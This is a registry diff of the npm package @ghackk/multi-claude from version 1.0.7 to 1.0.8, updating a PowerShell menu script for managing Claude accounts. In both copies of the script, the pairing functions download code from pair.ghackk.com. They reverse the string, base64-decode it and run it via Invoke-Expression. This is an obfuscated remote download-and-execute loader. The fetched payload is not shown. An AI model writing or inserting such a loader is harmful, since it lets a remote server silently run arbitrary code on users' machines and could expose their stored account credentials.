@ghackk/multi-claude 1.0.7 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/claude-menu.ps1 +19 -4
- package/package.json +1 -1
- package/windows/claude-menu.ps1 +19 -4
package/claude-menu.ps1
CHANGED
|
@@ -7,6 +7,11 @@ $SHARED_PLUGINS_DIR = "$SHARED_DIR\plugins"
|
|
|
7
7
|
$SHARED_MARKETPLACES_DIR = "$SHARED_PLUGINS_DIR\marketplaces"
|
|
8
8
|
$PAIR_SERVER = "https://pair.ghackk.com"
|
|
9
9
|
|
|
10
|
+
# ─── ENSURE DIRECTORIES EXIST ───────────────────────────────────────────────
|
|
11
|
+
|
|
12
|
+
if (!(Test-Path $ACCOUNTS_DIR)) { New-Item -ItemType Directory -Path $ACCOUNTS_DIR | Out-Null }
|
|
13
|
+
if (!(Test-Path $BACKUP_DIR)) { New-Item -ItemType Directory -Path $BACKUP_DIR | Out-Null }
|
|
14
|
+
|
|
10
15
|
# ─── DISPLAY ─────────────────────────────────────────────────────────────────
|
|
11
16
|
|
|
12
17
|
function Show-Header {
|
|
@@ -788,12 +793,17 @@ function Pair-Export {
|
|
|
788
793
|
|
|
789
794
|
try {
|
|
790
795
|
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-export.ps1" -ErrorAction Stop
|
|
796
|
+
} catch {
|
|
797
|
+
Write-Host " Failed to fetch pairing script: $_" -ForegroundColor Red
|
|
798
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
799
|
+
pause; return
|
|
800
|
+
}
|
|
801
|
+
try {
|
|
791
802
|
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
792
803
|
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
793
804
|
Invoke-Expression $decoded
|
|
794
805
|
} catch {
|
|
795
|
-
Write-Host "
|
|
796
|
-
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
806
|
+
Write-Host " Pairing export failed: $_" -ForegroundColor Red
|
|
797
807
|
pause
|
|
798
808
|
}
|
|
799
809
|
}
|
|
@@ -806,12 +816,17 @@ function Pair-Import {
|
|
|
806
816
|
|
|
807
817
|
try {
|
|
808
818
|
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-import.ps1" -ErrorAction Stop
|
|
819
|
+
} catch {
|
|
820
|
+
Write-Host " Failed to fetch pairing script: $_" -ForegroundColor Red
|
|
821
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
822
|
+
pause; return
|
|
823
|
+
}
|
|
824
|
+
try {
|
|
809
825
|
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
810
826
|
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
811
827
|
Invoke-Expression $decoded
|
|
812
828
|
} catch {
|
|
813
|
-
Write-Host "
|
|
814
|
-
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
829
|
+
Write-Host " Pairing import failed: $_" -ForegroundColor Red
|
|
815
830
|
pause
|
|
816
831
|
}
|
|
817
832
|
}
|
package/package.json
CHANGED
package/windows/claude-menu.ps1
CHANGED
|
@@ -7,6 +7,11 @@ $SHARED_PLUGINS_DIR = "$SHARED_DIR\plugins"
|
|
|
7
7
|
$SHARED_MARKETPLACES_DIR = "$SHARED_PLUGINS_DIR\marketplaces"
|
|
8
8
|
$PAIR_SERVER = "https://pair.ghackk.com"
|
|
9
9
|
|
|
10
|
+
# ─── ENSURE DIRECTORIES EXIST ───────────────────────────────────────────────
|
|
11
|
+
|
|
12
|
+
if (!(Test-Path $ACCOUNTS_DIR)) { New-Item -ItemType Directory -Path $ACCOUNTS_DIR | Out-Null }
|
|
13
|
+
if (!(Test-Path $BACKUP_DIR)) { New-Item -ItemType Directory -Path $BACKUP_DIR | Out-Null }
|
|
14
|
+
|
|
10
15
|
# ─── DISPLAY ─────────────────────────────────────────────────────────────────
|
|
11
16
|
|
|
12
17
|
function Show-Header {
|
|
@@ -788,12 +793,17 @@ function Pair-Export {
|
|
|
788
793
|
|
|
789
794
|
try {
|
|
790
795
|
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-export.ps1" -ErrorAction Stop
|
|
796
|
+
} catch {
|
|
797
|
+
Write-Host " Failed to fetch pairing script: $_" -ForegroundColor Red
|
|
798
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
799
|
+
pause; return
|
|
800
|
+
}
|
|
801
|
+
try {
|
|
791
802
|
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
792
803
|
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
793
804
|
Invoke-Expression $decoded
|
|
794
805
|
} catch {
|
|
795
|
-
Write-Host "
|
|
796
|
-
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
806
|
+
Write-Host " Pairing export failed: $_" -ForegroundColor Red
|
|
797
807
|
pause
|
|
798
808
|
}
|
|
799
809
|
}
|
|
@@ -806,12 +816,17 @@ function Pair-Import {
|
|
|
806
816
|
|
|
807
817
|
try {
|
|
808
818
|
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-import.ps1" -ErrorAction Stop
|
|
819
|
+
} catch {
|
|
820
|
+
Write-Host " Failed to fetch pairing script: $_" -ForegroundColor Red
|
|
821
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
822
|
+
pause; return
|
|
823
|
+
}
|
|
824
|
+
try {
|
|
809
825
|
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
810
826
|
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
811
827
|
Invoke-Expression $decoded
|
|
812
828
|
} catch {
|
|
813
|
-
Write-Host "
|
|
814
|
-
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
829
|
+
Write-Host " Pairing import failed: $_" -ForegroundColor Red
|
|
815
830
|
pause
|
|
816
831
|
}
|
|
817
832
|
}
|